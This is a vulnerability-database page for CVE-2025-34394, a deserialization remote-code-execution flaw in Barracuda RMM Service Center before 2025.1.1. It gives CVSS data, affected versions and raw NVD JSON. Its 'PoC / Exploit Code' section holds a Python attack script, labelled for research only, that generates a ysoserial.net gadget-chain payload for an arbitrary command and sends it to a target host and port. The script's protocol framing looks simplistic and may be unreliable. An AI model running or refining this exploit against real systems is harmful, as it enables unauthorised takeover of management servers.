Security Vulnerability Report
中文
CVE-2025-34394 CVSS 9.8 CRITICAL

CVE-2025-34394

Published: 2025-12-10 16:16:24
Last Modified: 2025-12-23 14:37:55

Description

Barracuda Service Center, as implemented in the RMM solution, in versions prior to 2025.1.1, exposes a .NET Remoting service that is insufficiently protected against deserialization of arbitrary types. This can lead to remote code execution.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:barracuda:rmm:*:*:*:*:*:*:*:* - VULNERABLE
Barracuda RMM Service Center < 2025.1.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import sys import struct def create_remoting_header(obj_data): """ Create a basic .NET Remoting request header """ header = b'\x00\x00\x00\x00' # Major version header += b'\x01\x00\x00\x00' # Minor version header += struct.pack('<I', len(obj_data)) # Data length header += obj_data return header def send_malicious_payload(target_host, target_port, payload): """ Send malicious serialized payload to Barracuda RMM Service Center CVE-2025-34394 PoC """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(30) sock.connect((target_host, target_port)) # Create .NET Remoting request with malicious payload # Using TypeConfuseDelegate gadget chain for RCE request_data = create_remoting_header(payload) sock.sendall(request_data) print(f"[+] Payload sent to {target_host}:{target_port}") # Wait for response response = sock.recv(4096) print(f"[+] Received response: {len(response)} bytes") sock.close() return True except Exception as e: print(f"[-] Error: {str(e)}") return False def generate_ysoserial_payload(command, gadget="TypeConfuseDelegate"): """ Generate payload using ysoserial.net Command to execute: {command} Gadget chain: {gadget} """ import subprocess try: result = subprocess.run([ 'ysoserial.exe', '-g', gadget, '-c', command, '-f', 'BinaryFormatter' ], capture_output=True, timeout=30) return result.stdout except FileNotFoundError: print("[-] ysoserial.exe not found. Please download from: https://github.com/tyran90/ysoserial.net") # Fallback: return dummy data for testing return b'\x00' * 100 if __name__ == '__main__': if len(sys.argv) < 4: print("Usage: python cve-2025-34394.py <target_host> <target_port> <command>") print("Example: python cve-2025-34394.py 192.168.1.100 6090 'whoami'") sys.exit(1) target_host = sys.argv[1] target_port = int(sys.argv[2]) command = sys.argv[3] print(f"[*] Generating payload for command: {command}") payload = generate_ysoserial_payload(command) print(f"[*] Sending payload to target...") send_malicious_payload(target_host, target_port, payload)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-34394", "sourceIdentifier": "[email protected]", "published": "2025-12-10T16:16:24.493", "lastModified": "2025-12-23T14:37:54.643", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Barracuda Service Center, as implemented in the RMM solution, in versions prior to 2025.1.1, exposes a .NET Remoting service that is insufficiently protected against deserialization of arbitrary types. This can lead to remote code execution."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:barracuda:rmm:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025.1.1", "matchCriteriaId": "C6E07E55-A5C9-4B12-8CC2-891D3F8F087D"}]}]}], "references": [{"url": "https://download.mw-rmm.barracudamsp.com/PDF/2025.1.1/RN_BRMM_2025.1.1_EN.pdf", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.barracuda.com/products/msp/network-protection/rmm", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/barracuda-rmm-service-center-net-remoting-deserialization-rce", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}